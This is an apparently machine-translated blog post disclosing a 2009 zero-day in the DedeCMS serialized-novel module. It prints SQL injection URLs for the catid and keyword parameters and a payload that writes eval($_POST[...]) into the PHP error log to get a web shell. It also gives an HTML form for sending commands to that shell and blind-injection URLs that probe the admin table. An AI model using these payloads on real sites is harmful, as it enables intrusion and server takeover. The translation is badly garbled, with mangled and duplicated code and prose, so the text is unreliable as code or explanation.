DEDECMS-fi seriál modul 0day-0 dnů články byt, magic_quotes_gpc, mybooks.php, mysql_error_trace.inc, mysql_error_trace.php, story_books.php, story_list_chapter.php, story_list_content.php, story

DEDECMS-fi seriál modul 0day

Tento záznam byl zaslán dne Září 22 2009

: St0p
Nesmí být reprodukována, ale uveďte zdroj http://www.st0p.org

Vzhledem k tomu, díra se objeví v románu modulu DEDECMS serializovat, pokud volby román serializovat DEDECMS instalaci modulu, pak tento problém vyřešit, některé verze za podmínek vám může přímo dostat SHELL Oh.
st0p přehled o použití podmínky podmínek: pokud je server v PHP nastavení magic_quotes_gpc = Off
Stav 2: cílová DEDECMS instalaci systému-fi seriál modul je vybrán

Za prvé, pojďme se podívat na články Condo 5.1 románu kanál a článků Condo 5.3.1 články Condo 5,5, protože jeho soubor v adresáři člen, soubor je členem / story_books.php články kondominium 5.3.1 a články Condo 5,5 soubor v knize adresáři soubor je kniha / story_books.php
Vzhledem k podobným kódu uvnitř, takže se pojďme podívat na jeden řádek story_books.php

  <? Php
 ......
 ! isset ( $action ) ) $action = '' ; //检测变量$action是否存在，不存则则给初使值 Pokud $ action ='' (isset ($ akce!)) / / detekce proměnné $ akce, pokud neexistuje, pak se na původní hodnotu
 ! isset ( $catid ) ) $catid = 0 ; //检测变量$catid是否存在，不存则则给初使值 Pokud $ catid = 0 (isset ($ catid)!) / / testování proměnné $ catid existuje, neexistuje, je však příliš brzy, aby se hodnoty
 ! isset ( $keyword ) ) $keyword = "" ; //检测变量$keyword是否存在，不存则则给初使值 Pokud $ slovo = "" (isset ($ slovo)!) / / detekce proměnné $ klíčové slovo existuje, neexistuje, pak se na původní hodnotu
 ! isset ( $orderby ) ) $orderby = 0 ; //检测变量$orderby是否存在，不存则则给初使值 Pokud $ Inzerce zdarma = 0 (isset ($ Inzerce zdarma!)) / / zjistit proměnné $ OrderBy, zda neexistuje, je brzy na hodnotu
 ......
 $catid != 0 ) $addquery .= " And (b.bcatid=' $catid ' Or b.catid=' $catid ') " ; if ($ catid = 0!) $ addquery = "A (b.bcatid = '$ catid" Nebo b.catid =' $ catid '). " 
 / / Proměnná $ catid není 0, ale přímo na catid dolarů na $ addquery bez ověření
 $keyword != "" ) $addquery .= " And (b.bookname like '% $keyword %' Or b.author like '% $keyword %') " ; (! $ slovo = ""), pokud $ = addquery. "A (b.bookname LIKE '% $ klíčové slovo%' nebo b.author LIKE '% $ klíčové slovo%')";
 / / Proměnná $ klíčové slovo není prázdný, je to přímý $ $ klíčové slovo addquery bez ověření
 " $ Query = " 
     Vyberte b.id, b.catid, b.bookname, b.booktype, b.litpic, b.postnum, b.senddate, b.ischeck, c.id jako Cid, c.classname Z # @ __ story_books b 
     LEFT JOIN # @ __ story_catalog C na c.id = b.catid kde memberid = {$ cfg_ml-> M_ID} a b.id> 0 $ $ addquery Inzerce zdarma 
  ";
 / / Vytvořit prohlášení
 ......
 >

Výše uvedený kód vidět, Ga, catid a klíčové slovo není žádný filtr, takže je to způsobeno tím, injekce, ale zdá se, představuje prohlášení je trochu problémy, není to v tomto článku popisuje rozsah naší malý příklad zkuste tyto akce, prosím testován po přistání, přímý zápis účet, login, zadejte následující adresu

Články Condo 5.1

Test catid proměnné na adrese
http://st0p:88/dedecms51/member/story_books.php?catid=10 ") nebo (" st0p '=' st0p

Test dvou proměnných klíčové slovo, následující adresa
http://st0p:88/dedecms51/member/story_books.php?keyword=st0p% 'nebo c.classname LIKE'% st0p

Články Condo 5,31

Test catid proměnné na adrese
http://st0p:88/dedecms53/book/story_books.php?catid=10 ") nebo (" st0p '=' st0p

Test dvou proměnných klíčové slovo, následující adresa

http://st0p:88/dedecms53/book/story_books.php?keyword=st0p% 'nebo c.classname LIKE'% st0p

Články Condo 5.5

Test catid proměnné na adrese
http://st0p:88/dedecms55/book/story_books.php?catid=10 ") nebo (" st0p '=' st0p

Test dvou proměnných klíčové slovo, následující adresa
http://st0p:88/dedecms55/book/story_books.php?keyword=st0p% 'nebo c.classname LIKE'% st0p

Podívejte se na tři verze, novější verze DEDECMS injekci prohlášení limity vstřikováním vyzkoušet, st0p nemluví.
Ve skutečnosti, pokud se změna povolení získat nějaké body, pamatujte, že chybu MYSQL písemně do příponu souboru protokolu PHP chyby, 5.1 Nezdá se, že některé funkce, 5,31 neopravených, pak, pokud patch stejně jako 5,5 příponou změnila svůj název na INC, aby písemné do slova koně, ale nemohli používat. . . Chudák Ach, kdyby i včasné odhalení je skrze smrt. . .

Články Condo 5,31
include / dedesql.class.php soubor

  ......
	 / / Zobrazení informace o chybě na datové spojení
	 $msg ) Funkce DisplayError ($ MSG)
	 {
		 dirname ( __FILE__ ) . '/../data/mysql_error_trace.php' ; //这里是PHP后缀 $ ErrorTrackFile = dirname (__ FILE__) "/ .. / data / mysql_error_trace.php ';. / / Zde je PHP přípona
		 '' ; $ Emsg ='';
		 "<div><h3>DedeCMS Error Warning!</h3> \r \n " ; $ Emsg = "<div> <h3> DedeCMS Chyba Varování </ H3> \ r \ n!."
		 "<div><a class=" thickbox " href='http://bbs.dedecms.com' target='_blank' style='color:red'>Technical Support: http://bbs.dedecms.com</a></div>" ; $ Emsg = "<div> <a Class=" thickbox" href='http://bbs.dedecms.com' target='_blank' style='color:red'> Technická podpora:. Http://bbs. dedecms.com </ a> </ div> ";
		 "<div style='line-helght:160%;font-size:14px;color:green'> \r \n " ; $ Emsg = "<div Style='line-helght:160%;font-size:14px;color:green'> \ r \ n".;
		 "<div style='color:blue'><br />Error page: <font color='red'>" . $this -> GetCurUrl ( ) . "</font></div> \r \n " ; $ Emsg = "<div Style='color:blue'> <br /> chybová stránka: <font color='red'>"... $ This -> GetCurUrl () "</ font> </ div> \ r \ n ";
		 "<div>Error infos: {$msg} </div> \r \n " ; $ Emsg = "Chyba <div> info: {$ msg} </ div> \ r \ n".;
		 "<br /></div></div> \r \n " ; $ Emsg = "<br /> </ div> </ div> \ r \ n".;

		 ; echo $ emsg;

		 'Page: ' . $this -> GetCurUrl ( ) . " \r \n Error: " . $msg ; Dolarů Savemsg = 'Stránka:' $ this -> GetCurUrl () "\ r \ n Chyba:". $ Zpráva,..
		 / / Uložit chyby MySQL protokol
		 fopen ( $errorTrackFile , 'a' ) ; $ Fp = @ fopen ($ errorTrackFile, '');
		 ( $fp , '<' . '?php' . " \r \n /* \r \n {$savemsg} \r \n */ \r \n ?" . "> \r \n " ) ; @ Fwrite ($ fp, '<'. "? Php '." \ R \ n * / \ r \ n {$ savemsg} \ r \ n * / \ r \ n? "."> \ R \ n " );
		 ( $fp ) ; @ Fclose ($ fp);
	 }
 ......

Články Condo 5,5 a skvrnitá
include / dedesql.class.php soubor

 function DisplayError ( $msg ) { $errorTrackFile = dirname ( __FILE__ ) . '/../data/mysql_error_trace.inc' ; //后缀变成INC了 if ( file_exists ( dirname ( __FILE__ ) . '/../data/mysql_error_trace.php' ) ) //如果mysql_error_trace.php存在，删除文件 { @ unlink ( dirname ( __FILE__ ) . '/../data/mysql_error_trace.php' ) ; } $emsg = '' ; $emsg .= "<div><h3>DedeCMS Error Warning!</h3> \r \n " ; $emsg .= "<div><a class=" thickbox " href='http://bbs.dedecms.com' target='_blank' style='color:red'>Technical Support: http://bbs.dedecms.com</a></div>" ; $emsg .= "<div style='line-helght:160%;font-size:14px;color:green'> \r \n " ; $emsg .= "<div style='color:blue'><br />Error page: <font color='red'>" . $this -> GetCurUrl ( ) . "</font></div> \r \n " ; $emsg .= "<div>Error infos: {$msg} </div> \r \n " ; $emsg .= "<br /></div></div> \r \n " ; echo $emsg ; $savemsg = 'Page: ' . $this -> GetCurUrl ( ) . " \r \n Error: " . $msg ; //保存MySql错误日志 $fp = @ fopen ( $errorTrackFile , 'a' ) ; @ fwrite ( $fp , '<' . '?php' . " \r \n /* \r \n {$savemsg} \r \n */ \r \n ?" . "> \r \n " ) ; @ fclose ( $fp ) ; } ...... . / / Display datové informace o chybě funkce DisplayError ($ msg) {dolarů errorTrackFile = dirname (__ FILE__) "/ .. / data / mysql_error_trace.inc ';. / / Přípona se INC if (file_exists (dirname (__ FILE__). "/. souboru / data / mysql_error_trace.php")) / / pokud mysql_error_trace.php existují, odstraňte soubor {@ unlink (dirname (__ FILE__). "/ .. / data / mysql_error_trace.php") ;} $ emsg =''; $ emsg = "<div> <h3> DedeCMS Chyba Varování </ h3> \ r \ n!.". $ emsg = "<div> <class =" Thickbox "href = "http://bbs.dedecms.com 'target =' _blank 'style =" color: red'> Technická podpora:. http://bbs.dedecms.com </ a> </ div> ", $ = emsg "<div style='line-helght:160%;font-size:14px;color:green'> \ r \ n";. $ emsg = "<div style='color:blue'> <br /> Chyba strana: ".. $ this -> GetCurUrl ()" <font color='red'> </ font> </ div> \ r \ n ",. $ emsg =" Chyba <div> info: {$ msg} . </ div> \ r \ n ";. $ emsg =" <br /> </ div> </ div> \ r \ n "; echo $ emsg; $ savemsg = 'Stránka:' $ this -> GetCurUrl () "\ r \ n Chyba:". $ msg, / / Uložit tuto chybu MySQL přihlásit $ fp = @ fopen ($ errorTrackFile, ''); @ fwrite ($ fp, '<'. "php? '. .? "\ r \ n * / \ r \ n {$ savemsg} \ r \ n * / \ r \ n" "> \ r \ n"); @ fclose ($ fp);} ..... .

Přečtěte si výše uvedený kód, chápeme to bude 5,5 a 5,31 být oprava do toho, není možné použít, můžeme říci, že o 5,31 využít metody.
Použití metod

http://st0p:88/dedecms53/book/story_books.php?keyword=st0p% '* / eval ($ _POST [st0p]);>

Ahoj. Tak, že dostaneme SHELL
Slovo adresa pro http://st0p:88/dedecms53/data/mysql_error_trace.php
Přímý POST předložit údaje o využití článků Condo 5.5 je stejný, ale proto, že kód se zabývat, a tak vytvořeného souboru rozšíření INC, že nemá smysl, je následující umožňuje předkládat HTM kódy, stačí dát v níže uvedené tabulce jediná adresa, kterou jste se do něj

  "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" > <DOCTYPE html PUBLIC! "- / / W3C / / DTD XHTML 1.0 Transitional / / EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 "http://www.w3.org/1999/xhtml" > <html Xmlns = "http://www.w3.org/1999/xhtml">
 <head>
 equiv = "Content-Type" content = "text/html; charset=utf-8" /> <Meta-http-Equiv = "Content-Type" obsah = "text / html; charset = utf-8" />
 "author" content = "st0p,st0p.org" /> <meta Name = "author" obsah = "st0p, st0p.org" />
 st0p一句话提交</ title > <title> St0p slovo nám </ title>
 </ Head>

 <body>
 //st0p:88/dedecms53/data/mysql_error_trace.php换成你的地址--> <-! Http: / / st0p: 88/dedecms53/data/mysql_error_trace.php nahrazen s vaší adresou ->
 "form1" name = "form1" method = "post" action = "http://st0p:88/dedecms53/data/mysql_error_trace.php" > <form Id = "form1" name = "form1" method = "post" action = "http://st0p:88/dedecms53/data/mysql_error_trace.php">
   <P>
     <label>
       "st0p" id = "st0p" cols = "45" rows = "5" > echo phpinfo ( ) ;</ textarea > <textarea Name = "st0p" id = "st0p" cols = "45" rows = "5"> echo phpinfo (); </ textarea>
     </ Label>
   </ P>
   <P>
     <label>
       "submit" name = "button" id = "button" value = "提交" /> <input Type = "submit" name = "button" id = "button" hodnota = "Submit" />
     </ Label>
   </ P>
 </ Form>
 </ Body>
 </ Html>

Samozřejmě, beletrie sériový modul, existují i jiné dokumenty, tam jsou také stejný problém existuje několik souborů z následujících
story_stow.php
mybooks.php
story_books.php
story_list_chapter.php
story_list_content.php

Původně si myslel, propuštěn tento 0day,, Náhodné myšlenky více než křižovatce skotu přátel bodů X, sdílet informace, a tak jsme se rozhodli vydat po některé méně tuku. . .
Existují problémy, můžeme diskutovat na mém blogu!

Poznámka: Po vydání článku, přítel řekl po přečtení tohoto velmi nevkusné, protože mnoho serverů magic_quotes_gpc = jde o případ, který nemám v úmyslu se hádat, ale napsal jsem na otázku, je skutečně existuje, jen chci použít některé podmínky 5.31 a 5.5, mohou v 5.1 verzi popředí přidat sériová knihy, některé s filtrem nějaká klíčová slova v SQL, takže je jako žádném případě musíme zjistit verzi 5.1 existuje několik řízení Člen například.
1, chceme přidat serializovaný knihu
2, http://st0p:88/dedecms51/member/story_books.php?catid=10 ") nebo (SELECT COUNT (*) z dede_admin)> 0 nebo (" st0p '=' st0pa

3, http://st0p:88/dedecms51/member/story_books.php?catid=10 ") nebo (select count (*) od dede_admin)> 1 nebo (" st0p '=' st0pa

Ga, výše uvedený závěr je správcem číslo 1. . .
Příklad citovat to, ve skutečnosti, zranitelnost objevit kdykoliv, ale péče o životní prostředí je jiný, různé efekty a dobře využít, a někdy nevkusné věci také ukázat plodné. . .